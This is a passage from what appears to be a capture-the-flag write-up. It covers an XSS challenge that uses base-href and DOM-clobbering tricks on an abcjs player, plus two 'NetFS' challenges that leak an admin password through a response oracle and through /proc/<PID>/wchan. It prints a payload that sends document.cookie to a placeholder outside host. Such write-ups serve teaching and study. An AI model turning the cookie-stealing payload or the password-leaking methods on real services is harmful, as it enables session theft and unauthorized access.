  if (hasWarp) {
    var warpTitle = options.warpTitle ? options.warpTitle : "Change the playback speed.";
    var warpAria = options.warpAria ? options.warpAria : warpTitle;
    var bpm = options.bpm ? options.bpm : "BPM";
    html += '<span class="abcjs-tempo-wrapper"><label><input class="abcjs-midi-tempo" type="number" min="1" max="300" value="100" title="' + warpTitle + '" aria-label="' + warpAria + '">%</label><span>&nbsp;(<span class="abcjs-midi-current-tempo"></span> ' + bpm + ')</span></span>\n';
  }
  html += '<div class="abcjs-css-warning" style="font-size: 12px;color:red;border: 1px solid red;text-align: center;width: 300px;margin-top: 4px;font-weight: bold;border-radius: 4px;">CSS required: load abcjs-audio.css</div>';
  html += '</div>\n';
  parent.innerHTML = html;

Therefore, if the HTML for 3 is modified as follows, cookies can be stolen with XSS.

(3)

<base href='a://neko<iframe srcdoc="<script src=/api/score/(Score ID of 4)></script>"></iframe>'>
<a id="value">
<a id="value" name="bpm" href="1">
<a id="value" name="displayWarp" href="1">

(4)

location.href='http://<URL>/?x='+document.cookie;

github.com

misc

NetFS 1

Background

This is a warmup for NetFS 2.

Challenge

This is a service that allows users to browse files over the network. Authentication is required, but the password for the administrator user is unknown.

LOGIN_USERS = {
    b'guest': b'guest',
    b'admin': open("secret/password.txt", "rb").read().strip()
}

In addition, non-administrator users cannot access certain files.

PROTECTED = [b"server.py", b"secret"]
...
# Check filepath
if not self.is_admin and \
    any(map(lambda name: name in filepath, PROTECTED)):
  self.response(b"Permission denied.\n")
  continue

Solution

There is a vulnerability in password authentication.

        with Timeout(30):
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1)
                if c == b'':
                    return
                elif c != password[i:i+1]:
                    self.response(b"Incorrect password.\n")
                    return
                i += 1

The password is received one character at a time from the socket, and if an incorrect character is reached, the output "Incorrect password." is returned. Therefore, it is possible to leak the password one character at a time by checking whether there is a response or not.

github.com

NetFS 2

Background

While taking a break and looking at procfs, I stumbled upon a file named wchan. It reveals which function a program is stopped in within the Linux kernel. It's like having an oracle at your fingertips :P

Challenge

Compared to NetFS 1, password checking has been strengthened.

        with Timeout(5) as timer:
            # Receive password
            self.response(b"Password: ")
            i = 0
            while i < len(password):
                c = self._conn.recv(1)
                if c == b'':
                    timer.wait()
                    self.response(b"Incorrect password.\\\\n")
                    return
                elif c != password[i:i+1]:
                    timer.wait()
                    self.response(b"Incorrect password.\\\\n")
                    return
                i += 1

            if self._conn.recv(1) != b'\\\\n':
                timer.wait()
                self.response(b"Incorrect password.\\\\n")
                return

wait is defined as follows:

    def wait(self):
        signal.alarm(0)
        while time.time() - self.start < self.seconds:
            time.sleep(0.1)
        time.sleep(random.random())

There is a 5-second timeout for entering a password. However, even if the password is incorrect, the system always waits approximately 5 seconds.

Solution

Create two connections simultaneously and log in with one as a guest user to read files. The guest user can access and read the procfs of another process, providing information about the processes that are currently attempting to log in.

As previously mentioned, /proc/<PID>/wchan indicates why a "waiting" process is in a waiting state. Let's conduct an experiment.

terminal1$ cat -
terminal2$ cat /proc/$(ps aux | grep "cat -" | awk '{print $2}' | head -n 1)/wchan
wait_woken
terminal1$ sleep infinity
terminal2$ cat /proc/$(ps aux | grep "sleep 1234" | awk '{print $2}' | head -n 1)/wchan
hrtimer_nanosleep

The results differ depending on whether the process is waiting for read or sleep. Therefore, you can determine if the 5 seconds until timeout are for waiting for the next character input or for waiting for sleep.

github.com

*1:In fact, Qiling has no feature corresponding to ASLR. You need to use “profile” if you want to randomize the address.